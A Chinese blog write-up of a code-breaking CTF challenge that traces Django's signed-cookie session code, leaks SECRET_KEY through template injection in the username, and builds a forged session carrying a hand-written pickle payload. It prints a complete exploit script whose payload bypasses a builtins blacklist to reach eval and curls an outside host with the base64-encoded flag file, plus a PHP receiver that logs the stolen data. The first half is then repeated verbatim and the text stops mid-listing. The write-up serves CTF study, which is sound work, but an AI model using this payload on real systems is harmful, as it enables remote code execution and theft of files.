从pickle反序列化学习python安全
Ebounce
撰写于 2019年 11月 01 日

前言

这次学习了一个P神code-breaking中的pickle反序列化命令执行的问题,之前也使用过django框架做过简单的博客,但对django框架的理解不是很到位,基本属于照搬,因此除了题解外也会记录一些有关django的笔记。
<!--more-->

思路:

源码分析

由于django框架大多数时候都是可靠的,因此一般有关django的题目都会给源码,这里主要查看几个重要的py文件。

1.settings.py

这个文件中存储了django的基本配置

#这里只截取重要的部分
SECRET_KEY = os.environ['SECRET_KEY'] #之后为了调试方便更改为'123456'
#SECRET_KEY是django中一个非常重要的参数,用于提供加密签名,如果我们可以知道django的SECRET_KEY那么可以伪造session进行提权,甚至最后做到远程代码执行,这点官方文档也有说明
#...
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
#这里指示了django框架在何处储存session信息
SESSION_SERIALIZER = 'core.serializer.PickleSerializer'
#这里指示了django框架使用什么方法去序列化session
#...
TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]
#模板设置中,主要看的是导入了什么进模板,即OPTIONS内部,这个值决定了需要将哪些额外的参数传递给模板后端(这里可以理解成ssti能读取哪些内容)

剩下的配置在本题基本作用不大了

2.views.py

这个文件中存储视图函数或者视图内,可以看看每个视图是怎样处理的

#同样截取重要部分
@login_required
def index(request):
    django_engine = engines['django']
    template = django_engine.from_string('My name is ' + request.user.username)
    return HttpResponse(template.render(None, request))
#这里将用户的用户名直接拿去进行模板渲染,没有经过任何安全校验,因此此处存在模板注入,可从这个地方读取敏感内容。

class RegistrationLoginView(LoginView):
    def post(self, request, *args, **kwargs):
        """
        Handle POST requests: instantiate a form instance with the passed
        POST variables and then check if it's valid.
        """
        form = self.get_form()
        if form.is_valid():
            return self.form_valid(form)

        if 'username' not in form.cleaned_data or 'password' not in form.cleaned_data:
            return self.form_invalid(form)
#cleaned_data 就是读取表单返回的值,返回类型为字典dict型
        if User.objects.filter(username=form.cleaned_data['username']).exists():
            return self.form_invalid(form)

        user = User.objects.create_user(form.cleaned_data['username'], None, form.cleaned_data['password'])
        auth_login(request, user)
        return HttpResponseRedirect(self.get_success_url())
'''
这个视图函数实现了用户的创建和登陆,如果用户不存在(第一次输入),则会创建一个相应的用户,这个时候第二次登陆用户就存在了,因此便可以登陆了
'''

如何伪造session

根据setting.py里的内容,翻阅官方文档发现(谷歌翻译出来的但大部分内容完全正确):

这里使用的session储存引擎是基于cookie的储存的,也就是说这是客户端session

Part1:获得session_auth_hash对象

本题刚好使用了django.contrib.sessions.backends.signed_cookiescore.serializer.PickleSerializer,也就是官方文档叙述的情况,这时候思路就比较清晰了,然后我们来看看django基于cookie的session是如果生成的,由于P神源码没有直接启用session的地方,所以我们从auth_login那里开始下断点(校验登陆信息才会使用session):

PS:调试帐号为a1 ,密码为123456 (需要提前注册)

然后根据类的继承关系和引入包

from django.contrib.auth import login as auth_login, get_user_model, authenticate
from django.contrib.auth.views import LoginView, logout_then_login

这里导入了django.contrib.auth.__init__.py中的login方法,并将其命名为auth_login,我们跟踪的是auth_login因此,跳转至django.contrib.auth.__init__.pylogin函数,函数体如下(同样截取调用部分):

PS:在\_\_init.py\_\_的开头也告诉了,session在这里生成:

这里调用了user类的get_session_auth_hash()方法,继续跟进这个函数,在django.contrib.auth.base_user发现该函数体:

这里使用了salted_hmac()函数对密码进行了加密,查看salted_hmac():

def salted_hmac(key_salt, value, secret=None):
    """
    Return the HMAC-SHA1 of 'value', using a key generated from key_salt and a
    secret (which defaults to settings.SECRET_KEY).

    A different key_salt should be passed in for every application of HMAC.
    """
    if secret is None:
        secret = settings.SECRET_KEY

    key_salt = force_bytes(key_salt)
    secret = force_bytes(secret)

    # We need to generate a derived key from our base key.  We can do this by
    # passing the key_salt and our base key through a pseudo-random function and
    # SHA1 works nicely.
    key = hashlib.sha1(key_salt + secret).digest()
#加密方式在这里,使用sha1算法将盐和SECRET_KEY拼接,再返回一个16进制的字符串
    # If len(key_salt + secret) > sha_constructor().block_size, the above
    # line is redundant and could be replaced by key = key_salt + secret, since
    # the hmac module does the same thing for keys longer than the block size.
    # However, we need to ensure that we *always* do this.
    return hmac.new(key, msg=force_bytes(value), digestmod=hashlib.sha1)

最后返回一个hmac类型的对象;也就是

key_salt = (取决于传入)
secret = settings.SECRET_KEY
key = hashlib.sha1(key_salt + secret).digest()
object_sha1 = hmac.new(key,msg=密码的字节信息,digestmod=hashlib.sha1)
session_auth_hash = object_sha1.hexdigest()

Part2:生成一个新的session_key

从而获得了一个session_hash对象,然后继续跟进,这个对象继续传递到下方校验user_id是否正确

def _get_user_session_key(request):
    # This value in the session is always serialized to a string, so we need
    # to convert it back to Python whenever we access it.
    return get_user_model()._meta.pk.to_python(request.session[SESSION_KEY])

    if SESSION_KEY in request.session:
        if _get_user_session_key(request) != user.pk or (
                session_auth_hash and
                not constant_time_compare(request.session.get(HASH_SESSION_KEY, ''), session_auth_hash)):
              request.session.flush()
                #这个方法会从数据库当中移除目前的session数据
         else:
                        request.session.cycle_key()
                #这个方法会重新生成一个session,因为前方的校验不通过,session无效
     #.......省略部分
    request.session[SESSION_KEY] = user._meta.pk.value_to_string(user)
    request.session[BACKEND_SESSION_KEY] = backend
    request.session[HASH_SESSION_KEY] = session_auth_hash

这里的session对象经过单步调试,发现这个对象实际上是:

查看源码发现这个类是继承了同文件夹下base.py中的SessionBase类,因此查看sessionbase,然后调用该类中的_get_session方法获得session,函数体如下:

当用户没有session_key时(该用户已经存在了,需要重新发放一个新的session,而不是按照原来的方式加密),会通过cycle_key()生成一个新的session,并且存储的是相同的内容

    def cycle_key(self):
        """
        Keep the same data but with a new key. Call save() and it will
        automatically save a cookie with a new key at the end of the request.
        """
        self.save()

紧接着就会执行本类中的save方法,

函数体为:

    def save(self, must_create=False):
        """
        To save, get the session key as a securely signed string and then set
        the modified flag so that the cookie is set on the client for the
        current request.
        """
        self._session_key = self._get_session_key()
        self.modified = True

又会去调用_get_session_key

    def _get_session_key(self):
        """
        Instead of generating a random string, generate a secure url-safe
        base64-encoded string of data as our session key.
        """
        return signing.dumps(
            self._session, compress=True,
            salt='django.contrib.sessions.backends.signed_cookies',
            serializer=self.serializer,
        )

这里调用了签名中的dumps方法,生成了一个签名的base64编码字符,作为session_key,由于这里使用了self.\_session

_session = property(_get_session)

因此这里会进入一次_get_session方法,从session缓存中获得的session的值,但因为这个时候缓存中没有session的值,因此session值为一个空字典,然后给salt,compress,serializer赋值,

PS:使用的serializer就是我们在settings中设置好的相应引擎。

再跳转会signing.dumps()继续执行,而这个函数的代码为:

这里的serializer().dumps()实际上就是我们settings里面设置好的序列化引擎中的方法(同时我们可以看出默认的django的序列化引擎为json,签名的salt为django.core.signing,key为settings.SECRET_KEY),这个函数是对使用serializer().dumps()的数据利用zlib.compress()进行压缩后,使用b64_encode方法进行编码,再进行一次解码,

最后在生成的数据前面加上一个.,然后再使用TimestampSignersign()方法,为这个生成的session签上时间,这个类继承自signer类,具体类如下:

value=gAN9cQAu被传入时,首先会根据目前的时间经过timestamp方法编码之后,默认sep=":",再传递给父类的进行一次签名之后就成了上图的value值,然后在传递给父类进行二次签名,最后就生成了相应的session_key的值

进行完生成session_key的操作之后跳转会save()

随后cycle_key方法执行完毕,已经生成了一个新的session_key了,继续我们的单步调试

最后(126-128行)便进行了session的相关设置操作:

从上述过程我们可以总结出,一个新的session_key的过程

_session={}
secret = settings.SECRET_KEY
salt = (取决于储存session的引擎)

serialize_data= serlializer().dumps(_session) #取决于序列化引擎
compressed = zlib.compress(data) #压缩一次数据
base64d = b64_encode(data).decode()
session_key = TimestampSigner(SECRET_KEY, salt=salt).sign(base64d)

Part3: 生成session到cookie中

最后我们需要知道session在那里被设置到了cookie里面,经过查找发现在django.contrib.sessions.middleware在session的中间件里面

从这里我们可以看出django将session设置到了cookie里了,并且最后到了调用session中的save()方法这步,然后查看该函数在django.contrib.sessions.backends.signed_cookies里面

这里又会调用_get_session_key方法

这里与前面的区别在于_session的值不再是空字典了,而是有三个元素的字典了

因此加密的过程还是一样的,这里还是简述一下,_session通过调用__get_session获得变成了有3个元素的字典,然后传入signing.dumps,经过一系列方法的加密,变成下面这样:

到这里我们熟悉的django-session的形式就已经出来了,最后再签上时间进行signer的两次加密,最后回到save()这里

最后判断的时候由于会解开前面,因此最后会进行解签操作,也就是这里(signer类所在地):

解签之后再将session中的值进行比对,从而判断是否为有效的session,来控制是否允许用户登陆,解签的出发点在这里:

最终再次经过中间件的设置,就成功登陆了:

总结一下,其实最关键的加密过程就在_session---->signer.dumps()这个过程之中,将其抽象总结一下,也就是这个函数了:

def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):
#省略掉官方的注释
    data = serializer().dumps(obj)

    is_compressed = False

    if compress:
        compressed = zlib.compress(data)
        if len(compressed) < (len(data) - 1):
            data = compressed
            is_compressed = True
    base64d = b64_encode(data).decode()
    if is_compressed:
        base64d = '.' + base64d
    return TimestampSigner(key, salt=salt).sign(base64d)

最后总结一下参数

key_salt = (取决于传入)
secret = settings.SECRET_KEY
key = hashlib.sha1(key_salt + secret).digest()
object_sha1 = hmac.new(key,msg=密码的字节信息,digestmod=hashlib.sha1)
session_auth_hash = object_sha1.hexdigest()

obj = {
    "_auth_user_id": 'x',
    "_auth_user_backend": '(存储session引擎)',
    "_auth_user_hash" : session_auth_hash
      }
key = settings.SECRET_KEY
salt = 设置里存储session的引擎
serializer = session的序列化引擎
compress = False

这样便可以做到session伪造了,虽然我们无法直接伪造出admin,但这里我们账户是可控的,再通过pickle反序列化能够实现命令执行。

读取SECRET_KEY

目前攻击手法已经很明显了,就是通过SECRET_KEY伪造session,再根据pickle序列化引擎,达到代码执行的目的,可以问题在于能否直接读取到SECRET_KEY,答案是否定的,因为在导入模板后端的项目中,并没有导入setting进去,这也就以为着,我们不能直接读取到SECRET_KEY,但是SECRET_KEY的字符是用于加密数据的,我们可以看到导入模板的变量中有auth还有request,猜测这些导入的变量可能有使用到SECRET_KEY的地方,注意django模板具有一定的限制,我们无法读取有\_开头的变量,因此需要找到没有\_开头的变量。

SECRET_KEY = '123456'
DEBUG = True #修改这两个配置均是方便调试

SECRET_KEY改成这种容易辨识的字符,然后在本地使用动态调试,在进行模板渲染的地方下断点,看看模板后端究竟导入了哪些模板变量

然后再多次展开传入后端的变量折叠发现了SECRET_KEY所在地,具体位置有很多比如request.user.user_permissions.source_field.opts.app_config.module.settingsrequest.user.groups.source_field.opts.app_config.password_validation.settings,最后发现当你找到这里的module之后,会发现里面很多内容都带了settings随意选一个,就可以找到里面的SECRET_KEY

然后落实到ssti注入上面,由于这里视图函数处理会先判断数据库中有没有该用户,如果没有则会自动注册一个该用户,然后下一次登陆的时候就会自动登陆进去了,如下图注册一个恶意账户:

然后登陆进去就顺利拿到secret_key了:

命令执行

在学习命令执行之前,先了解了python独特的序列化包pickle究竟是一个什么东西。

  1. 每种语言都有自己独特的序列化机制,python中的pickle,类似于php中的serialize()和unserialize(),同时pickle能够序列化很多类型的数据

可以看见这里几乎序列化了所有的数据类型,我们可以发现在python3,中是否继承object实际上不影响序列化生成的内容,因为python3中默认继承object父类,因此这里不存在是否继承object类而产生不同序列化内容的问题。

  1. 介绍一个特殊的魔术方法,先看看官方的说明:

    当返回字符串时,python会为我们在全局变量中,寻找这个类创建的本地实例,然后返回该实例:

    class hello():
        def __init__(self):
            self.test1=1
        def __reduce__(self):
            return "test1"
        #如果这里不是return的test1,则会报错
        
    test1=hello()
    p_test=pickle.dumps(test1)
    print(p_test)
    print(pickle.loads(p_test))

    返回内容为:

    PS:这里反序列化的对象是没有改变的

当返回元组时,元组的第一个元素为相应对象,第二个元素开始就是传入该对象的参数了

class hello1():
    def __init__(self):
        self.test2=1
    def __reduce__(self):
        return (os.system,("ls",))

test2=hello1()
p_test=pickle.dumps(test2)
print(p_test)
print(pickle.loads(p_test))

返回内容为:

这意味着我们反序列化出来的对象和原对象没有半毛钱关系了,对象变了,并且我们传入的ls命令被顺利执行,利用这点便可以执行系统命令了

接着我们再看本题的序列化代码(serializer.py):

PS:有关多出来的RestrictedUnpickler类的说明

import pickle
import io
import builtins

__all__ = ('PickleSerializer', )
'''
这里将本模块定义成了全局的PickleSerializer,也就是说
实际上本题django的序列化引擎使用的是这个py文件的内容
'''

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
'''
这个类是反序列化的一个过程类
官方手册推荐使用这个方法来限制反序列化出来的类
这里便是定义好黑名单了,但我们都知道黑名单可不是一个很好的过滤手段
'''
    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))
'''
重写原类的find_class方法
确保了没有来自builtins模块且在黑名单里的子类
'''

class PickleSerializer():
    def dumps(self, obj):
        return pickle.dumps(obj)
#这就是刚才提到的pickle的序列化方法
    def loads(self, data):
        try:
            if isinstance(data, str):
                raise TypeError("Can't load pickle from unicode string")
            file = io.BytesIO(data)
            return RestrictedUnpickler(file,
                              encoding='ASCII', errors='strict').load()
        except Exception as e:
            return {}
#这是反序列化方法

###绕过黑名单

在Python中builtins实际上是一个不需要导入的模块,很多类似于open,eval等内置函数,都存在与builtins模块中,侧面就是说明除了黑名单的那几个函数,其余的内置函数是可以直接导入的,这里可以选择导入getattr,这是个非常好用的函数,官方手册说明如下:

这个函数可以从上下文中获得已经存在的类,而serialize.py引入了两个一看就很危险的类:

因此我们可以通过getattr获得bultins模块,在从bultins模块中获取我们想要的类,而由于代码中是没有限制导入bultins模块的,因此可以顺利绕过黑名单,虽然绕过了黑名单,但是问题也产生了。

###有关\_\_reduce\_\_的问题

在官方手册中已经提到了,__reduce__实际上只能返回一个元组,而这里得到bultins模块和从bultins模块中获得函数,实际上是两步,按照__reduce__的执行条件来看,我们可是需要返回两个元组,而这显然是不可能的,那么如何解决这个问题?手撸pickle代码!

###有关pickle语言

我们随意保存一个之前实验过的恶意反序列化代码,看看pickle这个堆栈语言是怎么写的,作为一门堆栈语言pickle没有变量一说,只有两个结构

  • stack 也就是栈
  • memo 一个储存信息的列表

    下面是生成pickle文件的一段demo

import pickle
import os

class hello():
    def __reduce__(self):
        return (os.system,('ls',))

test2=hello()
p_test=pickle.dumps(test2,0)
""""
这里protocol需要等于0,也就是dumps的第二个参数
否则会多出很多的不可见字符,不利于人工书写
"""
print(p_test)
print(pickle.loads(p_test))
with open("test","wb") as file:
    file.write(p_test)
    file.close()
'''
test内容为:
cposix
system
p0
(Vls
p1
tp2
Rp3
.
'''

将二进制内容写入一个test文件之后,我们再使用pickletools进行读取

\

根据pickle源码对照表如下:

接下来我们一行行的解读:

  0: c    GLOBAL     'posix syste'
    #c 引入模块或对象,模块名和对象名使用换行符分割
    #这一步在python中相当于find_class方法
   14: p    PUT        0
    #p 将栈顶元素存到memo中,后面的整数相当于在memo列表中的索引
   17: (    MARK
    #( 将一个特殊的标志压入栈中,这是元组的起始位置
   18: V        UNICODE    'ls'
    #V 将一个unicode字符串压入栈中,这里手工写字符串不需要加引号
    #S 与V差不多,只是将一个字符串压入栈中区别在于手工的时候S的字符串加引号
   22: p        PUT        1
   25: t        TUPLE      (MARK at 17)
    #t 从栈顶开始找到'('并将中间所有内容弹出栈,组成一个元组
   26: p    PUT        2
   29: R    REDUCE
    #R 从栈顶弹出一个可调用的对象和元组,元组作为函数的执行的参数列表。
    #并将返回值压入栈中
   30: p    PUT        3
   33: .    STOP
    #. 表示程序到这里就结束了
highest protocol among opcodes = 0
    #这里是使用的pickle协议代号
    #g 获得从memo列表中获得一个指定索引的对象,压入栈中,这个后面会用到

这里的memo存储元素并没有什么用,因此我们将之前test里面的内容简化一下变成:

检查一下能否正常运行

ok看来是没有问题的,接下来我们来手撸pickle代码。

  • 获得builtins模块

    string=b"""cbuiltins 
    getattr 
    (cbuiltins 
    dict 
    Vget
    tR(cbuiltins 
    #等同于python代码的builtins.getattr(builtins.dict,get)获得get方法并将这个get方法对象压入栈中
    globals
    (tRVbuiltins   #等同于builtins.globals.get('builtings')
    tRp1 #弹出上面的整个部分存到memo的里,编号为1
    """

    逐行分析:

    • cbuiltins-> 将builtins设置为可执行对象
    • getattr-> 获得builtins中的getattr方法
    • cbuiltins-> 压入元组开始标志,并设置builtins为可执行对象
    • dict -> 获得builtins中的dict对象
    • Vget -> 压入字符串get
    • tR(cbuiltins ->

      弹出builtins.dict,'get'组成的新元组并压入栈中

      并执行builtins.getattr(builtins.dict,get)得到get方法压入栈中

      之后压入一个新的元组标志,最后将builtins设置为可执行对象

    • globals -> 获得builtins.globals
    • (tRVbuiltins ->

      压入元组标志,并生成一个空元组()

      然后返回builtins.globals()的一个可执行对象

      最后压入builtins字符串

    • tRp1 ->

      执行get('builtins')

      获得builtins对象并存在memo列表里

      builtins在列表中索引为1

    效果图:

    这里已经成功获得builtins模块了

  • 获得eval函数
string=b"""cbuiltins
getattr
(cbuiltins
dict
Vget
tR(cbuiltins
globals
(tRVbuiltins
tRp1
------分割线
cbuiltings
getattr #等同于 builtins.getattr()
(g1
Veval
tR(V__import__("os").system("ls")
#等同于builtins.getattr(builtins,"eval")并将这个可调用的eval对象压入栈中
tR."""
#等同于eval("__import__('os).system('ls')")并结束程序的运行

逐行分析:

  • cbuiltings -> 获得可执行的builtings对象
  • getattr -> 获得builtings.getattr方法
  • (g1 -> 压入一个元组标志到栈中,并取出memo[1]builtins模块对象压入栈中
  • Veval -> 压入'eval'字符串到栈中
  • tR -> 弹出以上内容为一个新元组,

    相当于执行builtings.gettattr(builtings,"eval")

    并获得这个可执行的eval对象

  • (V__import__("os").system("ls") ->

    压入一个新元组标志,

    再压入一个字符串'__import__("os").system("ls")'到栈中

  • tR. ->

    弹出以上内容为一个新元组

    相当于执行了eval("__import__('os).system('ls')")并返回一个可执行对象

    最后结束程序的运行

效果图:

PS:复制时请检查后面存在的空格,除了换行符外不能有空格

最后生成的pickle:

exp编写

exp_django.py:

from django.core import signing
import base64
import zlib


def b64_encode(s):
    return base64.urlsafe_b64encode(s).strip(b'=')


def pickle_session(SECRET_KEY):
    global string
    is_compressed = False
    compress = False
    if compress:
        compressed = zlib.compress(string)
        if len(compressed) < (len(string) - 1):
            data = compressed
            is_compressed = True
    base64d = b64_encode(string).decode()
    if is_compressed:
        base64d = '.' + base64d
    secret = SECRET_KEY
    session = signing.TimestampSigner(key=secret, salt='django.contrib.sessions.backends.signed_cookies').sign(
        base64d)
    print(session)

string=b"""cbuiltins
getattr
(cbuiltins
dict
Vget
tR(cbuiltins
globals
(tRVbuiltins
tRp1
cbuiltins
getattr
(g1
Veval
tR(V__import__("os").system("curl http://snert.ebounce.cn:8056/ok/1.php?flag=$(cat /*flag* | base64)")
tR.
"""
#flag是利用通配符读取的,因为只知道有flag字段,并不知道还有什么其他字段
pickle_session("zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm")

1.php代码如下:

<?php
$data = fopen("flag.txt","w");

foreach ($_GET as $key=>$value) 
{
  fwrite($data, $key.":".$value);
  fwrite($data, "\n");
}

接着我们传恶意session上去:

虽然传上去之后看着500了,但是另一个容器环境,却确实收到了flag

最后解码得到flag
PS:
这里改正一下错误,读取到secret_key,实际上应该被称作格式化字符漏洞,因为这里将我们格式化出来的字符,拿去当作模板渲染了,因而才会出现读取到变量的问题,如果用户控制的是已有模板的某个需要渲染的变量,也很难出现ssti漏洞

  • 因为django模板引擎只会渲染一次模板(一般都是读取到.html的模板文件的时候),之后再根据特征{}的内容导入值,也就是相当于字符串的拼接,这个时候即使需要拼接{{ xx }}的内容,也会只会当作一个单纯的字符串,而不是变量来处理,详情可以阅读一下django源码
  • 其次django作为一个神级框架,是不会允许模板进行代码执行的,如果开发过django项目,在可以代码执行的地方(本题就是格式化字符串的地方)进行代码执行,就会报错(debug=True)或者抛出500错误(debug=False).

参考文章:

code-breaking picklecode中对signed_cookies引擎分析

客户端 session 导致的安全问题

django官方文档-session部分

Code-Breaking中的两个Python沙箱

从pickle反序列化学习python安全

前言

这次学习了一个P神code-breaking中的pickle反序列化命令执行的问题,之前也使用过django框架做过简单的博客,但对django框架的理解不是很到位,基本属于照搬,因此除了题解外也会记录一些有关django的笔记。
<!--more-->

思路:

源码分析

由于django框架大多数时候都是可靠的,因此一般有关django的题目都会给源码,这里主要查看几个重要的py文件。

1.settings.py

这个文件中存储了django的基本配置

#这里只截取重要的部分
SECRET_KEY = os.environ['SECRET_KEY'] #之后为了调试方便更改为'123456'
#SECRET_KEY是django中一个非常重要的参数,用于提供加密签名,如果我们可以知道django的SECRET_KEY那么可以伪造session进行提权,甚至最后做到远程代码执行,这点官方文档也有说明
#...
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
#这里指示了django框架在何处储存session信息
SESSION_SERIALIZER = 'core.serializer.PickleSerializer'
#这里指示了django框架使用什么方法去序列化session
#...
TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]
#模板设置中,主要看的是导入了什么进模板,即OPTIONS内部,这个值决定了需要将哪些额外的参数传递给模板后端(这里可以理解成ssti能读取哪些内容)

剩下的配置在本题基本作用不大了

2.views.py

这个文件中存储视图函数或者视图内,可以看看每个视图是怎样处理的

#同样截取重要部分
@login_required
def index(request):
    django_engine = engines['django']
    template = django_engine.from_string('My name is ' + request.user.username)
    return HttpResponse(template.render(None, request))
#这里将用户的用户名直接拿去进行模板渲染,没有经过任何安全校验,因此此处存在模板注入,可从这个地方读取敏感内容。

class RegistrationLoginView(LoginView):
    def post(self, request, *args, **kwargs):
        """
        Handle POST requests: instantiate a form instance with the passed
        POST variables and then check if it's valid.
        """
        form = self.get_form()
        if form.is_valid():
            return self.form_valid(form)

        if 'username' not in form.cleaned_data or 'password' not in form.cleaned_data:
            return self.form_invalid(form)
#cleaned_data 就是读取表单返回的值,返回类型为字典dict型
        if User.objects.filter(username=form.cleaned_data['username']).exists():
            return self.form_invalid(form)

        user = User.objects.create_user(form.cleaned_data['username'], None, form.cleaned_data['password'])
        auth_login(request, user)
        return HttpResponseRedirect(self.get_success_url())
'''
这个视图函数实现了用户的创建和登陆,如果用户不存在(第一次输入),则会创建一个相应的用户,这个时候第二次登陆用户就存在了,因此便可以登陆了
'''

如何伪造session

根据setting.py里的内容,翻阅官方文档发现(谷歌翻译出来的但大部分内容完全正确):

这里使用的session储存引擎是基于cookie的储存的,也就是说这是客户端session

Part1:获得session_auth_hash对象

本题刚好使用了django.contrib.sessions.backends.signed_cookiescore.serializer.PickleSerializer,也就是官方文档叙述的情况,这时候思路就比较清晰了,然后我们来看看django基于cookie的session是如果生成的,由于P神源码没有直接启用session的地方,所以我们从auth_login那里开始下断点(校验登陆信息才会使用session):

PS:调试帐号为a1 ,密码为123456 (需要提前注册)

然后根据类的继承关系和引入包

from django.contrib.auth import login as auth_login, get_user_model, authenticate
from django.contrib.auth.views import LoginView, logout_then_login

这里导入了django.contrib.auth.__init__.py中的login方法,并将其命名为auth_login,我们跟踪的是auth_login因此,跳转至django.contrib.auth.__init__.pylogin函数,函数体如下(同样截取调用部分):

PS:在\_\_init.py\_\_的开头也告诉了,session在这里生成:

这里调用了user类的get_session_auth_hash()方法,继续跟进这个函数,在django.contrib.auth.base_user发现该函数体:

这里使用了salted_hmac()函数对密码进行了加密,查看salted_hmac():

def salted_hmac(key_salt, value, secret=None):
    """
    Return the HMAC-SHA1 of 'value', using a key generated from key_salt and a
    secret (which defaults to settings.SECRET_KEY).

    A different key_salt should be passed in for every application of HMAC.
    """
    if secret is None:
        secret = settings.SECRET_KEY

    key_salt = force_bytes(key_salt)
    secret = force_bytes(secret)

    # We need to generate a derived key from our base key.  We can do this by
    # passing the key_salt and our base key through a pseudo-random function and
    # SHA1 works nicely.
    key = hashlib.sha1(key_salt + secret).digest()
#加密方式在这里,使用sha1算法将盐和SECRET_KEY拼接,再返回一个16进制的字符串
    # If len(key_salt + secret) > sha_constructor().block_size, the above
    # line is redundant and could be replaced by key = key_salt + secret, since
    # the hmac module does the same thing for keys longer than the block size.
    # However, we need to ensure that we *always* do this.
    return hmac.new(key, msg=force_bytes(value), digestmod=hashlib.sha1)

最后返回一个hmac类型的对象;也就是

key_salt = (取决于传入)
secret = settings.SECRET_KEY
key = hashlib.sha1(key_salt + secret).digest()
object_sha1 = hmac.new(key,msg=密码的字节信息,digestmod=hashlib.sha1)
session_auth_hash = object_sha1.hexdigest()

Part2:生成一个新的session_key

从而获得了一个session_hash对象,然后继续跟进,这个对象继续传递到下方校验user_id是否正确

def _get_user_session_key(request):
    # This value in the session is always serialized to a string, so we need
    # to convert it back to Python whenever we access it.
    return get_user_model()._meta.pk.to_python(request.session[SESSION_KEY])

    if SESSION_KEY in request.session:
        if _get_user_session_key(request) != user.pk or (
                session_auth_hash and
                not constant_time_compare(request.session.get(HASH_SESSION_KEY, ''), session_auth_hash)):
              request.session.flush()
                #这个方法会从数据库当中移除目前的session数据
         else:
                        request.session.cycle_key()
                #这个方法会重新生成一个session,因为前方的校验不通过,session无效
     #.......省略部分
    request.session[SESSION_KEY] = user._meta.pk.value_to_string(user)
    request.session[BACKEND_SESSION_KEY] = backend
    request.session[HASH_SESSION_KEY] = session_auth_hash

这里的session对象经过单步调试,发现这个对象实际上是:

查看源码发现这个类是继承了同文件夹下base.py中的SessionBase类,因此查看sessionbase,然后调用该类中的_get_session方法获得session,函数体如下:

当用户没有session_key时(该用户已经存在了,需要重新发放一个新的session,而不是按照原来的方式加密),会通过cycle_key()生成一个新的session,并且存储的是相同的内容

    def cycle_key(self):
        """
        Keep the same data but with a new key. Call save() and it will
        automatically save a cookie with a new key at the end of the request.
        """
        self.save()

紧接着就会执行本类中的save方法,

函数体为:

    def save(self, must_create=False):
        """
        To save, get the session key as a securely signed string and then set
        the modified flag so that the cookie is set on the client for the
        current request.
        """
        self._session_key = self._get_session_key()
        self.modified = True

又会去调用_get_session_key

    def _get_session_key(self):
        """
        Instead of generating a random string, generate a secure url-safe
        base64-encoded string of data as our session key.
        """
        return signing.dumps(
            self._session, compress=True,
            salt='django.contrib.sessions.backends.signed_cookies',
            serializer=self.serializer,
        )

这里调用了签名中的dumps方法,生成了一个签名的base64编码字符,作为session_key,由于这里使用了self.\_session

_session = property(_get_session)

因此这里会进入一次_get_session方法,从session缓存中获得的session的值,但因为这个时候缓存中没有session的值,因此session值为一个空字典,然后给salt,compress,serializer赋值,

PS:使用的serializer就是我们在settings中设置好的相应引擎。

再跳转会signing.dumps()继续执行,而这个函数的代码为:

这里的serializer().dumps()实际上就是我们settings里面设置好的序列化引擎中的方法(同时我们可以看出默认的django的序列化引擎为json,签名的salt为django.core.signing,key为settings.SECRET_KEY),这个函数是对使用serializer().dumps()的数据利用zlib.compress()进行压缩后,使用b64_encode方法进行编码,再进行一次解码,

最后在生成的数据前面加上一个.,然后再使用TimestampSignersign()方法,为这个生成的session签上时间,这个类继承自signer类,具体类如下:

value=gAN9cQAu被传入时,首先会根据目前的时间经过timestamp方法编码之后,默认sep=":",再传递给父类的进行一次签名之后就成了上图的value值,然后在传递给父类进行二次签名,最后就生成了相应的session_key的值

进行完生成session_key的操作之后跳转会save()

随后cycle_key方法执行完毕,已经生成了一个新的session_key了,继续我们的单步调试

最后(126-128行)便进行了session的相关设置操作:

从上述过程我们可以总结出,一个新的session_key的过程

_session={}
secret = settings.SECRET_KEY
salt = (取决于储存session的引擎)

serialize_data= serlializer().dumps(_session) #取决于序列化引擎
compressed = zlib.compress(data) #压缩一次数据
base64d = b64_encode(data).decode()
session_key = TimestampSigner(SECRET_KEY, salt=salt).sign(base64d)

Part3: 生成session到cookie中

最后我们需要知道session在那里被设置到了cookie里面,经过查找发现在django.contrib.sessions.middleware在session的中间件里面

从这里我们可以看出django将session设置到了cookie里了,并且最后到了调用session中的save()方法这步,然后查看该函数在django.contrib.sessions.backends.signed_cookies里面

这里又会调用_get_session_key方法

这里与前面的区别在于_session的值不再是空字典了,而是有三个元素的字典了

因此加密的过程还是一样的,这里还是简述一下,_session通过调用__get_session获得变成了有3个元素的字典,然后传入signing.dumps,经过一系列方法的加密,变成下面这样:

到这里我们熟悉的django-session的形式就已经出来了,最后再签上时间进行signer的两次加密,最后回到save()这里

最后判断的时候由于会解开前面,因此最后会进行解签操作,也就是这里(signer类所在地):

解签之后再将session中的值进行比对,从而判断是否为有效的session,来控制是否允许用户登陆,解签的出发点在这里:

最终再次经过中间件的设置,就成功登陆了:

总结一下,其实最关键的加密过程就在_session---->signer.dumps()这个过程之中,将其抽象总结一下,也就是这个函数了:

def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):
#省略掉官方的注释
    data = serializer().dumps(obj)

    is_compressed = False

    if compress:
        compressed = zlib.compress(data)
        if len(compressed) < (len(data) - 1):
            data = compressed
            is_compressed = True
    base64d = b64_encode(data).decode()
    if is_compressed:
        base64d = '.' + base64d
    return TimestampSigner(key, salt=salt).sign(base64d)

最后总结一下参数

key_salt = (取决于传入)
secret = settings.SECRET_KEY
key = hashlib.sha1(key_salt + secret).digest()
